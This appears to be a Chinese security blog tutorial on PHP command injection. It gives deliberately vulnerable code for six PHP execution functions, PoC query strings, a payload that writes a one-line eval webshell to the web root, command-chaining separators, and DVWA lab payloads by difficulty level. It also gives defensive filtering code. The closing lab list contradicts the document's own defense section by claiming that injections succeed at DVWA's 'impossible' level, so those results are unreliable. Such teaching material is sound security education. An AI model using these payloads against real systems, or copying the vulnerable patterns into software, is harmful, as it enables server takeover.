4-8 命令注入(命令执行)

4-8 命令注入(命令执行)

 

命令注入,又称命令执行漏洞。(RCE,remote command execute)

 

1. 漏洞原理

 

成因:程序员使用后端脚本语言(如:PHP、ASP)开发应用程序的过程中,虽然脚本语言快速、方便,但也面临着一些问题,如:无法接触底层。如开发一些企业级的应用时需要去调用一些外部程序,而当调用这些外部程序(系统shell命令或者exe等可执行文件)时,就会用到一些函数去执行系统命令。

 

原理:web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。

 

造成命令注入(命令执行)的条件:

  1. 用户输入作为拼接

  2. 没有足够的过滤

  3. web应用源码中有相关的敏感函数

 

 

2. 漏洞危害

 

  1. 继承web服务器程序权限(web用户权限),便可去执行系统命令

  2. 继承web服务器权限,便可读写文件等

  3. 反弹shell

  4. 控制整个网站

  5. 控制整个服务器

 

 

3. PHP常见的敏感函数和语句

 

以下是一些能将字符串当作系统命令来执行的PHP函数。

 

3.1 system()

system()函数能够将字符串作为OS命令执行,并自带输出到当前页面的功能。

最简单的存在system()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str);
}
?>

POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

 

3.2 exec()

exec()函数也能将字符串作为OS命令执行,但需要手动输出执行结果。

最简单的存在exec()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str);
}
?>

POC:可以提交参数 ?cmd=ipconfig >> 1.txt 作为POC进行注入测试。

注意:exec()不但自带输出结果到当前页面的功能,且即便使用print打印,返回的输出结果也是有限的。故采可用>>来将结果导入到一个文件里,再查看文件即可。

 

3.3 shell_exec()

shell_exec()函数也能将字符串作为OS命令执行,但需要手动输出执行结果。

最简单的存在shell_exec()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print shell_exec($str);
}
?>

POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

 

3.4 passthru()

passthru()函数也能将字符串作为OS命令执行,并自带输出到当前页面的功能。

最简单的存在passthru()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
passthru($str);
}
?>

POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

 

3.5 popen()

popen()也能够执行OS命令,但是该函数不返回命令结果,而是返回一个文件指针。

popen()函数用来打开进程文件指针,打开一个该进程的管道,接下来便可以对该进程进行操作。

popen(command,mode)

  • command:必需。规定要执行的命令。

  • mode:必需。选择模式。可能的值:

  • r:只读

  • w:只写(打开并清空已有文件或创建一个新文件)

最简单的存在popen()命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
popen($str,'r');
}
?>

POC:可以提交参数 ?cmd=ipconfig >> 1.txt 作为POC进行注入测试。

注意:popen()返回的是一个文件指针,故采可用>>来将结果导入到一个文件里,再查看文件即可。

 

3.6 反引号

反引号[``]内的字符串也会被解析成OS命令。

最简单的存在反引号[``]命令注入漏洞的网页源代码(关键部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
}
?>

POC:可以提交参数 ?cmd=ipconfig作为POC进行注入测试。

 

 

4. 漏洞利用

 

命令注入漏洞,攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。

以下是几种常见的利用方式,但利用方式不止这些,我们可以进行任何shell可以执行的操作。

  • 直接获取webshell

    例如可以写入一句话木马: ?cmd=echo "<?php @eval($_REQUEST[777]); ?>" > D:\phpstudy\WWW\webshell.php

  • 显示当前路径

    例如可以提交参数 ?cmd=cd 来查看当前路径。

  • 读文件

    例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。

  • 写文件

    例如可以提交参数 ?cmd=echo "<?php phpinfo(); ?>" > D:\software\shell.php

 

以下是在注入点用来执行多条语句的分割参数:

  1. | # 管道符号(竖线)作用是将符号前的进程输出,并作为符号后进程的输入。此处也可以用于执行多条命令

    用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2,并且只打印Command 2执行的结果

  2. || # 可同时执行多条命令,当碰到执行正确的命令时,将不再执行后面的命令。相当于‘或’,出现一个正确就行。

  3. && # 可同时执行多条命令,当碰到执行错误的命令时,将不再执行后面的命令。相当于‘与’,出现一个错误就不行。

  4. & # 同时执行多条命令,不管命令是否执行成功

如:客户端页面是一个用来给客户指定一个目标主机并发送ping它的页面,所以此处很可能存在命令注入漏洞。

服务端源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
   $target = $_REQUEST[ 'ip' ];
   if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
       $cmd = shell_exec( 'ping ' . $target );
  }            //若是windows就直接ping,否则linux一类的得加-c 4来停止ping命令。
   else {
       $cmd = shell_exec( 'ping -c 4 ' . $target );
  }
   echo "<pre>{$cmd}</pre>";
}
?>

我们可以提交参数 ?Submit=Submit&ip=192.168.1.1|net user 来进行POC检测。

 

 

5. 漏洞防御

 

  1. 尽量减少能命令执行的函数的使用,允许的话可直接在php的配置文件php.ini中禁用

  2. 在使用命令执行的函数之前,首先对用户输入参数进行过滤

  3. 参数的值尽量使用引号包裹,并在拼接之前调用addslashes进行转义

 

以下是一个过滤严格,不存在命令注入漏洞的服务器端源代码(核心):

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
   // Check Anti-CSRF token
   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

   // Get input
   $target = $_REQUEST[ 'ip' ];
   $target = stripslashes( $target );

   // Split the IP into 4 octects
   $octet = explode( ".", $target );

   // Check IF each octet is an integer
   if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
       // If all 4 octets are int's put the IP back together.
       $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

       // Determine OS and execute the ping command.
       if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
           // Windows
           $cmd = shell_exec( 'ping ' . $target );
      }
       else {
           // *nix
           $cmd = shell_exec( 'ping -c 4 ' . $target );
      }

       // Feedback for the end user
       echo "<pre>{$cmd}</pre>";
  }
   else {
       // Ops. Let the user name theres a mistake
       echo '<pre>ERROR: You have entered an invalid IP.</pre>';
  }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

相关过滤机制介绍:

Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。以下是相关函数介绍:

  • stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

  • explode(separator,string,limit)

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

  • is_numeric(string)

检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

  • generateSessionToken()和checkToken()

generateSessionToken()用来生成Token,checkToken()则用来检查Token是否正确和一致。

 

 

6. 漏洞实例

 

DVWA平台的实验command injection模块:

low级别:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令成功

  • 127.0.0.1||whoami # 注入命令成功

medium级别:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。

  • 127.0.0.1||whoami # 注入命令成功

  • 127.0.0.1&;&ipconfig # 注入命令成功

high级别:

  • 127.0.0.1|whoami # 注入命令成功,因为源码过滤的是'| '(竖线+空格),故我们不在竖线后加空格就可绕开过滤。

  • 127.0.0.1&whoami # 注入命令不成功

  • 127.0.0.1&&whoami # 注入命令不成功

  • 127.0.0.1||whoami # 注入命令不成功

impossible级别:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。

  • 127.0.0.1||whoami # 注入命令成功

  •  

posted @ 2020-09-20 12:34  小约翰呼噜噜  阅读(2045)  评论(0编辑  收藏  举报